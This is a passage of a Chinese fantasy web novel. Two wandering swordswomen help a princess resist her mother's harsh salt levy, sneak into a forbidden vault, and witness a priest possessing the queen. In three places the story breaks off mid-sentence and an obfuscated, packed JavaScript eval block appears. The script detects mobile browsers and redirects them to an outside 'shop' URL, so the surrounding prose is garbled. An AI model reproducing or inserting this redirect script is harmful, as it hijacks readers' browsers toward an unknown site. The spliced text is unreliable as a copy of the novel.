“忙着教郡主挑水？”卫寒苍终于抬起头，看着她，嘴角扯出一个似笑非笑的弧度，“忙着给郡主擦汗？忙着拍郡主的肩说‘不错了’？” 褚秋水被她问得哑口无言。 她想解释“你要不会我也教啊”，但她总感觉这句话说出口，会有什么可怕的后果。 “行了行了。”她决定转移话题，“我们还是来复盘一下吧。” “复盘什么？” 褚秋水坐直身子，正色道：“女王收集盐铁的目的，和那个奇怪的祭司。” 卫寒苍听了，稍微认真了些。 “今天华兰泽说，三十年前商策占卜出一个预言，手握盐与铁的人，将来到这个国家，终结这个王朝。”褚秋水一字一句道，“女王收集盐铁，应该是想阻止这个预言发生，阻止王朝终结在自己手里” 卫寒苍听着，慢慢放下书。 “那她这个解决方法还挺简单粗暴的，直接收走，谁也拿不到。” “也算是物理意义上的解决了，”褚秋水说，“但我总觉得奇怪。” “哪奇怪了。” “华兰泽还说过，祭司是替国家承蒙天命的人，预言从不出错。真的这么简单就可以破解预言吗。” 卫寒苍想了想，回答道。 “的确，这种解决办法太过于简单了。”她说，“那个商策身上也有颇多古怪之处。身为祭司，竟然试图干涉国政，是百姓如草芥。还有他那副不变的容貌，不管怎么想，此人身上秘密颇多。” 两人沉默了一会儿。 褚秋水忽然打了个哈欠，一天的疲惫涌上来。 “行了行了，不想了。”她站起身，往床边走，“睡觉睡觉，明天再说。” 卫寒苍看着她，嘴角微微扬起：“不洗漱了？” “我忘了。” 灯火摇曳下，卫寒苍坐在床边，捧着脸乖乖等着褚秋水洗完。 褚秋水洗着洗着，忽然问：“寒苍，你刚才是不是不高兴了？ 卫寒苍眼神微微闪躲。 “没有。” “真的？” “真的。” 褚秋水不信，但她知道再问也问不出什么了。 脸洗好了，她一头栽进被子里，闭上眼睛。 卫寒苍看着她，轻轻叹了口气，吹灭烛火，在她身边躺下。 黑暗中，一只手伸过来，握住她的。 “秋水。” “嗯？” “以后……别对别人那么好。” 褚秋水迷迷糊糊地“嗯”了一声，也不知道听没听见。 卫寒苍看着她的侧脸，嘴角微微扬起，闭上眼睛。 14. 路遇 翌日清晨，阳光刚爬上窗棂，华兰泽又站在了寝殿门口。 这回她轻车熟路，直接敲门。 “秋水，起了吗？” 褚秋水睁开眼，愣了愣，然后推了推身边的卫寒苍。 “起了起了。” 洗漱完毕，打开门，华兰泽已经换好了衣服——还是昨天那身寻常衣裳，只是头发梳得更利落了些，一看就是做好了干活的准备。 “今天还去村里？”褚秋水问。 华兰泽点头：“嗯。我想……多看看。” 卫寒苍从褚秋水身后探出头，看着她，语气幽幽：“郡主这么勤快？” 华兰泽看着她，微微一笑：“卫小姐要是不想去，可以留在宫里休息。” “谁说我不想去？”卫寒苍快步走出来，挽住褚秋水的胳膊，“秋水去哪儿我去哪儿。” 华兰泽看着她的手，牙又有点痒痒。 三人出了王城，往村子走去。 但今天华兰泽没急着去昨天的村子，而是说：“我们往远处走走？” 褚秋水点头：“行。” 她们绕过昨天去过的村子，继续往王城外走。 走了约莫一个时辰，在离王城越来越远的地方，周围的景象开始变了。 路越来越破，两旁的屋子越来越矮。有些房子甚至没有屋顶，只用茅草胡乱盖着。路上的行人越来越少，偶尔看见一个，也是面黄肌瘦、衣衫褴褛。 华兰泽的脚步渐渐慢了下来。 她看着那些破败的屋子，看着那些瘦弱的村民，看着那些干裂的土地。 这一切，和她昨天看到的，有些一样，又些不一样。 “这里……”她喃喃道。 “离王城越远，越穷。”卫寒苍在旁边淡淡地说，“这是规律。” 华兰泽沉默了。 她继续往前走，发现确如卫寒苍所说。 每一个都比上一个更破，每一个都比上一个更穷。 有些村子甚至已经没人了，只剩下一片断壁残垣。 “人呢？”她问。 一个路过的老人看了她一眼，哑声道：“逃了，死了，都有。” 华兰泽张了张嘴，什么都说不出来。 她忽然想起那些书上写的——“苏眦盛世，路不拾遗，夜不闭户”。 那些字写得那么漂亮，她见过都王城也是那么繁荣，怎么她现在走在这条路上，看到的只有破败和贫穷。 贫穷与富庶，在此刻划出一道清晰的界限。 就在这时，前方忽然传来一阵嘈杂声。 哭声、喊声、呵斥声混在一起，由远及近。 三人对视一眼，快步上前。 村口，一群官兵正围着一户人家。 一个妇人跪在地上，死死抱着一个陶罐，哭得撕心裂肺：“大人，求求您了，这是我家最后一点盐了，孩子还小，没盐会死的……” 为首的官兵一把夺过陶罐，冷笑道：“最后一点？上个月你们也是这么说的。按律，每户每月定额上交，这是王法！” “可我们真的没有了……” “少废话！”官兵一脚踹开她，把陶罐递给身后的兵卒，“搜！看看还有没有私藏的！” 几个兵卒冲进屋里，翻箱倒柜，东西摔碎的声音此起彼伏。 妇人跪在地上，哭得几乎晕过去。 褚秋水的拳头握紧了。 她刚要上前，一个人影已经冲了出去。 “住手！” 华兰泽站在那群官兵面前，气得浑身发抖。 官兵们愣住了，看着这个突然冒出来的女子，一时没反应过来。 为首的官兵上下打量了她一眼，嗤笑一声：“哪来的多管闲事的？滚开！” 华兰泽没动。 她从怀里掏出一块令牌，举到那人面前。 “认识这个吗？” 那是一块玉牌，上面刻着一个“华”字，周围环绕着繁复的纹路——那是王族的印记。 官兵们愣住了。 为首的官兵仔细看了看那块令牌，脸色瞬间变了。 “郡……郡主？” 华兰泽没理他，径直走到那个妇人面前，把她扶起来。 “您没事吧？” 妇人看着她，吓得说不出话。 华兰泽转身，看着那群官兵，一字一句道：“谁给你们的权力，抢百姓的盐？” 官兵们面面相觑，为首的硬着头皮道：“回郡主，这是……这是王法。每户每月定额上交，这是……” “王法？”华兰泽打断他，“王法是让你们把百姓最后一点盐都抢走？王法是让他们饿死、病死？” 官兵们不敢说话。 华兰泽指着那个陶罐：“放下。” 为首的官兵犹豫了一下，把陶罐放在地上。 华兰泽亲自抱起陶罐，递还给那个妇人。 妇人接过陶罐，浑身发抖，不知道该跪还是该站。 “没事了。”华兰泽轻声说，“不会再有人来抢了。” 她转身，看着那群官兵，目光冰冷。 “滚。” 官兵们如蒙大赦，连滚带爬地跑了。 村口安静下来。 华兰泽站在那里，看着那群官兵远去的背影，久久没有说话。 褚秋水走上前，轻轻拍了拍她的肩。 “没事吧？” 华兰泽摇了摇头。 过了一会儿，她忽然开口。 “秋水。” “嗯？” “我要改变这一切。” 褚秋水看着她。 华兰泽转过头，目光坚定。 “我要回去向母皇进言，停止征盐和铁。”她说，“这个政策是错的。它没有阻止什么预言，它只是在折磨百姓。” 褚秋水没有说话，只是看着她。 “不止是盐铁。”华兰泽继续说，“整个国家都需要改变。那些官员，那些账目，那些粉饰太平的东西，我要把它们都查清楚，都改过来。” 她顿了顿，声音微微发颤：“看到这一切，我不能装作不知道。” 褚秋水看着她，目光中带着欣慰和心疼。 “行。”她说，“那我陪你。” 华兰泽看着她，眼眶微微发红。 她飞快地低下头，不让褚秋水看见。 旁边，卫寒苍看着这一幕，轻轻哼了一声。 她走上前，自然而然地站到两人中间。 “走吧，天不早了。”她说，“要做什么都得先回吃饱饭。” 三人准备往王城的方向走去。 身后，那个妇人抱着陶罐，看着她们的背影，突然想起了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371609|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 “三位，请等一下。” 她几乎是扑到了她们面前，褚秋水立刻上前扶着，帮她站稳。 妇人从袖中拿出一根红绳。红绳有些旧，但很干净，上面系着块铜币，民间常以此法，的祈求孩童健康无恙。 “请你们带上这个吧，就算是我的感谢。” 言罢，她还没等褚秋水回答，把红绳给她系上就离开了。 看着妇人离去的背影，她们三个沉默着回到了王城。 连最近热衷于询问普通人如何修仙的华兰泽，都没再多言。 第二天，褚秋水和卫寒苍陪着华兰泽一起去面见女王。 按照约定，她们就在门口等着华兰泽。 殿门紧闭。 褚秋水和卫寒苍并肩站在廊下，她有些担心，不知道这次会有什么结果。 “你说她能劝动吗？”褚秋水紧张兮兮地问。 卫寒苍像没骨头似的，靠在柱子上，懒洋洋地打了个哈欠：“感觉难。” 话音刚落，殿内突然传来一声暴喝—— “够了！” 紧接着是华兰泽带着哭腔的声音：“母皇，您以前不是这样的！” “朕以前什么样，轮不到你来评判！” “我……” “你以为你的这些意见会有什么好后果吗！朕执政这么多年，深知动不如静的道理。这些年，那些家族那些官员那些利益共同体早已是盘根错节，牵一发而动全身。” “那我们就不管那些百姓吗！” “顺着现在的势头，还能继续撑下去。要是陡然生变，你就要做亡国之主了！” “母皇……” “出去！不要再说一个字！” 褚秋水还没反应过来，殿门砰地打开，华兰泽捂着脸冲了出来。 她飞快地从两人身边跑过，肩膀微微颤抖，却没发出什么声音。 褚秋水和卫寒苍对视一眼，连忙准备追上去。 华兰泽跑得极快，又熟悉宫内地形，一眨眼就在她们的视线里消失了。 幸好卫寒苍耳力极佳，寻着声音，她们跟着来到了御花园。 花园角落里，华兰泽蹲在一丛花后面，把脸埋在膝盖里。 褚秋水走过去，在她旁边蹲下，也不知道该说什么，只好伸手拍了拍她的背。 卫寒苍站在旁边，难得没有阴阳怪气，只是给她递了块帕子过去。 华兰泽没接，闷闷地开口。 “我跟母皇说，征盐铁是错的，百姓过得太苦了。”她的声音发闷，“可她不听。她说这是为了国家，为了预言，为了……为了我好。” 她抬起头，眼眶红红的，却没哭。 “母皇变化好大，她以前不是这样的。”华兰泽说，“小时候她教我治国，说要爱民如子。可现在……” 她顿了顿，忽然压低声音。 “我出来的时候，听见她跟内侍说，要去幽溟渊。” 褚秋水一愣：“幽溟渊？” “是禁地。”华兰泽擦了擦眼角，“除了历代女王和祭司，没人能进去。传说那里连通着苏眦的国脉，藏着历代先祖的遗命。” 卫寒苍的眼睛微微眯起。 褚秋水看了她一眼，两人目光交汇。 “进去看看？”卫寒苍用口型问。 褚秋水点头。 15. 禁地 一个时辰后，三道身影悄无声息地潜入了王宫深处。 月黑风高，正是做贼的好时候。 卫寒苍走在最前面，脚步轻得像踩在云上。月光下她的身形若隐若现，衣袂飘动间连一丝风声都没带起来。 褚秋水看着她的背影，心里忍不住又佩服了一次——这人的轻功，确实是她在江湖上见过的最好的，没有之一。 她时不时停下来，侧耳听听动静，然后冲后面招招手。那手势又轻又快，像一只夜行的猫。 华兰泽跟在褚秋水身边，紧张得手心直冒汗。她这辈子没干过这种事。白天她是高高在上的郡主，走哪儿都有人开道引路；现在她是个偷偷摸摸闯禁地的“贼”，每一步都踩在心跳上。 “你确定这条路对？”她压低声音问，声音里带着一丝颤抖。 卫寒苍回头，竖起食指抵在唇边，做了个“嘘”的手势。那手势干脆利落，带着一种不容置疑的笃定。 华兰泽乖乖闭嘴，连呼吸都放轻了。 七拐八绕之后，眼前出现一道石门。门很大，约莫两人高，通体用一种褚秋水叫不出名字的青灰色石料砌成。门上刻着密密麻麻的符文，在月光下泛着幽幽的蓝光，像是一条条游动的小蛇。 “就是这儿。”华兰泽的声音压得很低，但褚秋水听出了她话里的颤意。 卫寒苍凑上前，仔细端详那些符文。她的眉头渐渐皱起来，指尖悬在符纹上方半寸的位置，顺着纹路缓缓移动，却始终没有碰到。 “这是……封印的符。”她说，声音难得认真，“而且是很古老的那种。。” 褚秋水心里有些紧张。 “能解开吗？”她问。 卫寒苍没回答。她在头上摸索一番，找到一只最细的簪子——就是那支镶着莲子米大小珍珠的，褚秋水昨晚还数过。她把簪子轻轻拔下来，握在手里。 “试试。” 她将簪子轻轻刺入符文之间的缝隙，动作极慢，像是在绣花。每刺入一分，就停下来听一听，侧耳贴在门上，细听里面的回响。那些蓝光在她指尖流转，忽明忽暗，像是活的。 褚秋水站在旁边，大气都不敢出。她此时只恨自己平时上课没有用心，那些符文学得七七八八就扔到脑后了。书到用时方恨少，她现在连这些符文是什么流派都看不出来，只能在这儿干看着，帮不上什么忙。 她偷偷看了一眼华兰泽——郡主比她还不济，她和这些偷鸡摸狗的事向来不沾边。此刻整个人缩在她身后，只露出半个脑袋，眼睛瞪得溜圆。 时间一点一点过去。卫寒苍的额角渗出细密的汗珠，顺着脸颊滑下来，她都没顾上擦。那支簪子在她手里像是变成了一把钥匙，一点一点撬动着那些古老的封印。 终于，在卫寒苍的不断尝试下，蓝光剧烈地闪烁了几下——然后，门无声地开了。 不是轰然洞开，是无声无息地，像一张嘴轻轻张开。 一股潮湿的、带着铁锈腥气的风从门后涌出来。 褚秋水是真的佩服：“你还真是什么都会。” 卫寒苍把簪子重新插回头上，回过头来，微微一笑。那笑容在月光下带着一点得意。 “这毕竟是我吃饭的本事嘛。” 门后是一条幽深的石阶，向下延伸，看不见尽头。石阶两壁湿漉漉的，水珠顺着墙面往下淌，在脚下汇成细细的水流。 三人对视一眼，走了进去。 石阶很长，长得像是永远走不完。褚秋水数着自己的脚步，数到三百的时候放弃了。空气越来越潮湿，铁锈的腥味也越来越重，混着一种说不清的、像是什么东西在腐烂的气味。 华兰泽走在她前面，脚步越来越慢。褚秋水能看见她的肩膀在微微发抖。 越往下走，空气越潮湿，隐隐有一股铁锈的腥味。终于，前方出现了一点光亮。 褚秋水放慢脚步，贴着石壁往前挪。大剑被她握在手里，剑身裹着布，没有反光。 眼前豁然开朗。 那是一个巨大的地下空间，高约十丈，方圆百步。四周的石壁上嵌着某种发光的矿石，把整个空间照得一片惨白。 而空间的中央，立着一座庞然大物。 那是无数铁器熔铸的巨物——形状像半颗倒悬的心脏，表面布满密密麻麻的孔洞。每个孔洞里都嵌着一只眼睛，或者一只耳朵。眼睛是闭着的，耳朵是垂着的，但它们都在微微颤动，像是活物在沉睡中呼吸。 那些眼睛和耳朵大小不一，排列得毫无规律，密密麻麻地挤在一起，看得人头皮发麻。 褚秋水倒吸一口凉气。 “这就是收集铁的用途吗。”她喃喃道。 华兰泽捂住嘴，脸色煞白。她看着那些眼睛和耳朵，整个人都在发抖。 就在这时，一个声音响起。 “陛下，您看，快完工了。” 是商策。 三人浑身一僵，连忙缩回阴影里，从石壁的缝隙中偷偷望去。 熔炉前站着两个人。商策，和女王。 女王站在那座巨物面前，仰头看着那些密密麻麻的眼睛和耳朵，脸上没有表情。惨白的光照在她脸上，衬得她的轮廓像一尊冰冷的雕像。 商策站在她身侧，语气里带着掩饰不住的得意。 “等它们全部做好，整个苏眦就再也没有秘密了。”他的声音在空旷的地下空间里回荡，带着一种志得意满的餍足，“哪家在私论王室，哪家偷藏盐铁，陛下随时可以知道。整个苏眦，都在陛下一掌之中。” 女王的眉头微微皱了皱。 “这是为了国家？”她问。 “当然是为了国家。”商策笑得很温和，“陛下励精图治三十年，难道要让那些刁民毁了您的心血吗？” 他顿了顿，声音里带上了一丝轻蔑。 “他们懂得什么？他们只知道今天有没有饭吃，明天有没有盐吃。他们永远不会明白，一个强大的国家需要什么。” 女王沉默了很久。 “可是那些百姓……”她开口。 “百姓？”商策笑了，那笑容和之前完全不同，显出些阴冷，“陛下，百姓是什么？是草。春风吹又生，野火烧不尽。他们在乎的只有自己檐下的一亩三分地，谁当皇帝对他们来说都一样。今天姓华，明天姓王，他们照样种地、交税、生孩子。” 他顿了顿，声音低沉下来。 “可祭司和王室不一样。我们世世代代守护着这个国家，我们才是苏眦的根基。那些百姓，不过是根基上的土灰罢了。” 女王没有说话。 商策看着她，眼神里有什么东西在涌动。 “陛下，您还记得您登基那年，前任祭司是怎么说的吗？” 女王的目光微微闪动。 “他说，您是天命所归，是苏眦的希望。”商策慢慢走近她，声音变得柔和，带着蛊惑的味道，“这三十年，您励精图治，把苏眦从一个边陲小国变成西域最强盛的国家之一。您做到了历代先王都没做到的事。” “可是陛下，您有没有想过——这三十年，是谁在背后支持您？” 女王的目光变得有些恍惚。 “是祭司。”商策的声音像丝线一样，一圈一圈绕上来，“是我们世世代代守护着苏眦的秘密，是我们用预言指引着国家的方向，是我们让百姓相信您是天子。没有我们，您什么都不是。” 女王的眼神晃了晃。 “你刚才说，”她开口，声音有些发哑，“那些话是前任祭司告诉你的？” “正是。”商策脸上挂着温和的笑意。 “放肆！”女王的眼神一瞬间变得极为锐利，像一把刀劈开了那层恍惚，“那句天命所归只有他知我知，你又是怎么知道的？” 商策的笑容顿了一瞬。 女王盯着他，一字一句：“哪怕祭司神权天授，也断然不能继承上一任的记忆。朕再给你一次机会，告诉朕你到底是谁，从哪里听到那句话的。” 商策听到那句“不能继承上一任的记忆”时，忽然笑了。像披着人皮的精怪终于可以甩开束缚，露出真面目。 他看着女王，像看着一个孩童。 “陛下，”他的声音变得诡异起来，带着某种说不清的诱惑，又带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371610|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一种古老的、悠远的疲惫，“您以为我们祭司是什么？是替天传话的傀儡？是占卜吉凶的工具？” 他往前走了一步。 “都不是。” 他的声音忽然沉下去，沉得像从地底传来的回响。 “我是你们愚昧无用的先祖，向灵山求来的孤魂。你的先祖，以世代供奉为代价，求得我为你们沟通天地，占卜吉凶。” “只是人类躯壳太为脆弱，每隔几十年，我就得换一个新的躯壳，再假装成新生的祭司。” “这么多年的这么多届祭司，实际上都是同一个我啊。” 地下空间里安静得能听见铁水滴落的声音。 饶是历经过大风大浪的女王，乍然听见这些，也是大为惊骇。 她的脸色白了一瞬。 难怪他对于王室秘辛这么了解。难怪他视臣民如草芥。他有如住进苏眦的客人，对主人家任采任撷，用着所谓的天命戏弄着所有人。 女王的脚步往后退了一步，警惕地盯着他。这里是禁地，只有她和商策有权进入，所有的仆从都在外面候命，她现在叫人也没用。 她要先稳住对方。 “你……你想夺位？” “夺位？”商策笑了，“陛下，您说错了。臣不是要夺位，臣是要——” 他的声音忽然变得幽深。 “——取而代之。” 阴影里，华兰泽差点叫出声，被褚秋水一把捂住嘴。她整个人都在发抖，眼泪无声地往下淌，滴在褚秋水的手背上，滚烫的。 商策的声音继续传来，不紧不慢，像是在说一件再平常不过的事。 “何况，您知道了这么多，总要付出些代价吧。您别以为我不知道您私底下在干什么。您想让郡主脱离我的桎梏，想让我再也没法染指王权。” 他顿了顿。 “臣侍奉历代女王，总有几个是都想着要摆脱我的。我当然不能坐以待毙了，可惜前面的都没能受得住这魂魄转移的方法……” 他笑了笑。 “但陛下您不一样。您身体好，能扛。臣在您身上试了三十年，终于把魂魄的根扎进去了。” 女王的呼吸变得急促而紊乱。 “你……你说什么？” “陛下这些年时常恍惚，时常听见有人说话，以为是天授。”商策笑了，“其实那不是什么老天对您说的话，通通都是臣。” “是臣在您脑子里，跟您说话。” 女王踉跄后退，撞在石壁上。她脑上是细密的汗珠，这些事，她从来没有和任何一个人说过，连华兰泽都不知道这些。 “你……你竟然敢……” “臣没有什么敢不敢的。”商策的声音依旧温和，“臣只是做了该做的事。” “祭司的职责，就是替国家承蒙天命。可如果天命本身就能掌控，那还要承蒙做什么？” 他上前一步。 “陛下，您累了。您和郡主吵架，心绪不稳，正好让臣的离魂之术再进一步。” “等您睡一觉醒来，这一切就都结束了。” “不……不……快来人……有人要篡位……” 女王的挣扎声渐渐微弱。 阴影里，华兰泽终于忍不住，挣开褚秋水的手就要冲出去。 褚秋水一把拉住她，捂住她的嘴，冲她摇头。 现在出去，不但救不了女王，她们三个也得搭进去。 华兰泽在她怀里挣扎，眼泪终于无声地流下来。 远处，女王的挣扎声越来越弱。 最后，一声闷响—— 像是什么东西倒在了地上。 商策的声音响起，带着餍足的笑意。 “陛下，好好睡吧。” “等您醒来，这个世界……就是臣的了。” 地下空间陷入死一般的寂静。 褚秋水屏住呼吸，一动不敢动。 她感觉到怀里的华兰泽在发抖，感觉到身后卫寒苍的手紧紧攥着她的衣角。 远处，那些千只眼和耳还在微微颤动。 像是在等待什么醒来。 16. 战前准备 三人屏息凝神，等商策的脚步声彻底消失在石阶尽头，又等了足足一盏茶的工夫，才敢动弹。 褚秋水松开捂着华兰泽嘴的手，手心全是汗。 华兰泽浑身发抖，脸上全是泪痕，却死死咬着嘴唇，没发出一点声音。 “走。”卫寒苍用气声说，“现在。” 三人贴着石壁，悄无声息地原路退回。 爬上石阶，穿过石门，重新呼吸到外面的空气时，褚秋水才发现自己后背已经湿透了。 月明星稀，夜风微凉。 华兰泽站在月光下，脸上的泪痕还没干，眼神却已经变了。失去母亲的她，此刻眼中少了点少女的稚嫩，多了些成年的坚毅。 “兰泽……”褚秋水开口，想扶住她。 “我没事。”华兰泽打断她，声音沙哑却平稳，“不用扶我。” 她自己往前走了一步，踉跄了一下，又稳住。 “我自己能走。” 褚秋水和卫寒苍对视一眼，默默跟在她身后。 一路无话。 回到华兰泽的寝宫，关上门，点上灯，三个人围坐在桌前，沉默了很久。 华兰泽坐在主位，手里攥着一块帕子，攥得指节发白。 褚秋水看看她，又看看卫寒苍，率先开口。 “现在怎么办？” 华兰泽抬起头，眼眶还是红的，但眼神已经清明了很多。 “刚才……母皇说的那些话。”她顿了顿，声音有些发颤，“她说，她做这些是为了我。她不想让我被预言绑住，不想让我被祭司控制。” 她低下头，看着自己的手。 “她把我保护得太好了，我从来不知道……” 大家都安静地听着。 华兰泽深吸一口气，抬起头来。 “但是现在我知道了。”她说，“所以我不能让母皇白做这些。” 褚秋水看着她，觉得她褪去稚气，一夜之间长大了不少。 “你有什么打算？” 华兰泽沉默了一会儿，开始理清思路。 “首先，我们需要兵权。”她说，“商策现在是母皇的样子，但他没有王室的印信，调动不了军队。” 褚秋水眼睛一亮：“王城的军队由谁掌管？” “名义上是由兵部尚书统辖，但紧急情况下，王室可以直接下令。”华兰泽看向褚秋水腰间，“之前我送给你的那个玉牌。你拿着它，可以去城北大营调兵。” 卫寒苍凑过来看了一眼：“就凭这个？不会被拒绝吗？” “城北大营的统领是我母皇一手提拔的，对我很是熟悉。”华兰泽说，“见令如见我，有令牌在，他不敢不从。” 卫寒苍挑眉：“这么急？不从长计议？” 褚秋水摇头：“这种事情越快越好。商策刚得手，肯定需要时间适应女王的身体。我们现在动手，他还没反应过来，可以打他一个措手不及。等几天，万一走漏风声，他先把军队控制了，我们就一点机会都没有了。” 卫寒苍沉默了一瞬，点点头：“有道理。” 华兰泽看着她俩，忽然觉得心里踏实许多。 她不是孤身一人，她还有可以并肩作战的伙伴。 “那这样。”华兰泽开始分配任务，“明天一早，秋水拿着我的令牌去城北大营调兵。寒苍去城门传令，就说王城有变，让守城军士封锁所有城门，不许任何人进出。” “你呢？”褚秋水问。 华兰泽的眼神沉了沉。 “我去上朝。”她说，“像往常一样，去给‘母皇’请安，去听那个东西坐在龙椅上发号施令。我得稳住他，不能让他起疑。” 褚秋水皱眉：“你一个人……” “我不是一个人。”华兰泽看着她，目光坚定，“你们在外面办事，我在里面拖着。只要我们能配合好，一定能把母皇救出来。” 褚秋水沉默了一会儿，点点头。 “好。” 卫寒苍在旁边幽幽地开口：“说得倒是挺热闹，可万一那个商策已经掌握了什么我们不知道的情况呢？万一他不用军队，直接用那些眼睛和耳朵监视我们呢？” 华兰泽一愣。 褚秋水想了想，说：“那也得搏一把。” “搏？” “搏他刚夺舍成功，还在适应期。搏我们动作够快，快到他反应过来之前就把事情办完。如果此刻束手以待，那就真成砧板鱼肉，任人宰割了。” 卫寒苍看着她，略做沉思。 “行吧。”她说，“陪你赌。” 商议完毕，华兰泽坚持让她们先回去休息。 “明天还有大事。”她说，“你们得养足精神。” 褚秋水看着她，想说什么，又咽了回去。 走到门口，她忽然回头。 “郡主。” “嗯？” “你母皇……会没事的。” 华兰泽愣了一下，然后笑了。 那笑容很淡，却是今天晚上的第一个笑。 “我知道。” 回到寝殿，褚秋水关上门，长长地吐了口气。 她正准备把大剑解下来保养，一转头，看见卫寒苍正蹲在地上，往一个小包袱里塞东西。 褚秋水愣了愣。 “你在干嘛？” 卫寒苍头也不抬：“收拾东西啊。” “又收拾东西？” 卫寒苍终于抬起头，看着她，表情有点复杂。 “秋水。”她站起身，走过来，压低声音，“华兰泽给了我自由封锁城门的权利。” 褚秋水皱眉：“我知道啊，她刚刚安排的……” “嗯。”卫寒苍说得轻描淡写，“所以，明天一早我们就能出城。” 褚秋水愣住了。 “你说什么？” “我说，”卫寒苍看着她，一字一句，“我们明天就能走。” 褚秋水张了张嘴，一时说不出话来。 卫寒苍继续说：“你想想，这事跟我们有关系吗？我们是外乡人，这里的事本来就不该我们管。华兰泽是郡主，有她自己的责任。可我们有什么？我们什么都没有。留在这里，万一出事，连个收尸的人都没有。” “可是……” “没有可是。”卫寒苍打断她，“秋水，你听我的。明天一早，我们拿了令牌，趁天没亮就走。等她们打完了，我们再回来。好不好？” 褚秋水看着她。 烛光下，卫寒苍的眼睛亮亮的，带着点祈求，又带着点别的什么。 那眼神，让人有点不忍心拒绝。 可是…… 褚秋水沉默了很久。 然后她开口。 “寒苍，你走吧。” 卫寒苍的表情僵了一下。 “你说什么？” “我说，”褚秋水的声音很轻，却很坚定，“我不能走。” 她走到窗边，推开窗户，看着外面的月光。 “我从小跟师傅练剑，师傅教我的第一件事，不是怎么握剑，而是为什么握剑。” 卫寒苍没有说话。 “他说，练剑的人，剑可以输，心不能输。遇到事就跑，那这剑练了有什么用？” 她转过身，看着卫寒苍。 “我知道这事跟我们没关系。我知道我们只是外乡人，随时可以走。我知道留在这里可能会有危险。” 卫寒苍的脸色变了又变。 “你……你就这么在乎她？” “谁？“褚秋水顿了顿，“我留在这里，不仅是为了华兰泽” “那是为了谁？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371611|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 褚秋水迎着她的目光：“为了苏眦国所有的人。” 卫寒苍不知道想到了什么，情绪有些激动起来：“就为了那些不相干的百姓？秋水，你是不是太单纯了。那些人并也没有看着这么老实。” “我们一来到这个世界，他们就称呼我们为什么勇士，把我们架在一个高地上，想靠着我们给他们谋新生活。” “陪着华兰泽去王城周边的时候，你也见过。流民为一点食物就自相残杀。那些百姓里不仅有周伯那种人，还有各种伴随烧杀抢掠种种恶习的人。” “我知道，”褚秋水坦然地说，“我知道有这种人，并且这种人人数还不少。” “这种人你也要救？” “这种人我也要救。在我看来，怯懦者亦可献上勇气，油滑者亦可怀有赤子之心。我希望所有人都可以有更多选择的余地。” “如果你愿意留下来的话，可以和我一起准备。如果不愿意，我也不拦你。” 听完这些，卫寒苍盯着她的脸，像是要看出什么答案：“为什么。” “因为所有人都该有一个能过更好生活的选择。”褚秋水笑得有点不好意思，“听起来很幼稚，很可笑对不对。但我是想做到这样。 “从开始修行的那一天开始，我就以此为目标。想要不断收集剑谱，提升自己，我希望练到当我准备出手时，能够没有任何顾虑。” 很久很久。 然后她忽然笑了。笑容中有释然，也有欣喜。 “行吧。”她说，“总算搞清楚你的热血从何而来了。” 她走回包袱旁边，把东西又一件一件掏出来，放回原位。 褚秋水看着她，自顾自地开始说起来。 “师傅说我这是缺一根筋，让我下山历练历练就好了，但我就是拗不过来。” “这种性格很讨人厌吧……” “没有，你很好。”卫寒苍头也不回，“你真的很好。” 过了好一会儿，卫寒苍收拾完了，转过身来看着她。 “你就这么信任那个郡主？” 褚秋水想了想：“嗯。” “凭什么？” “凭她刚才那个眼神。”褚秋水说，“那眼神，我在山里见过。” 卫寒苍挑眉：“山里？” “嗯。小时候跟师傅进山，遇到过一只小狼，腿被夹子夹住了，流了好多血。我和师傅本来想救它，可它一看见我们就龇牙，凶得很。师傅说，它活不了了，走吧。” 褚秋水顿了顿。 “可第二天我们路过那里，发现它咬断了自己的腿，跑了。雪地上全是血，但它就是跑了。” 她看着卫寒苍。 “华兰泽刚才那个眼神，就跟那只小狼一样。” 卫寒苍沉默了一会儿，忽然笑了。 “你还挺会比喻。” 褚秋水挠挠头：“反正就是那个意思。” 卫寒苍走过来，在她身边坐下。 “行吧。”她说，“就像你说的，我们一起，搏出条好路。” 褚秋水看着她，眼睛亮亮的。 “谢谢你，寒苍。” 卫寒苍别过脸去，不让她看见自己的表情。 “少来这套。睡觉，明天还要早起。” 两人躺下。 黑暗中，卫寒苍忽然开口。 “秋水。” “嗯？” “以后不管什么事，你都得带着我。” 褚秋水愣了愣：“为什么？” “因为……”卫寒苍顿了顿，“因为我怕你把自己作死。” 褚秋水笑了。 “行。” 一只手伸过来，握住她的。 那只手有点凉，却握得很紧。 褚秋水也第一次，回握住她的手。 17. 战战战 褚秋水早早就醒了。 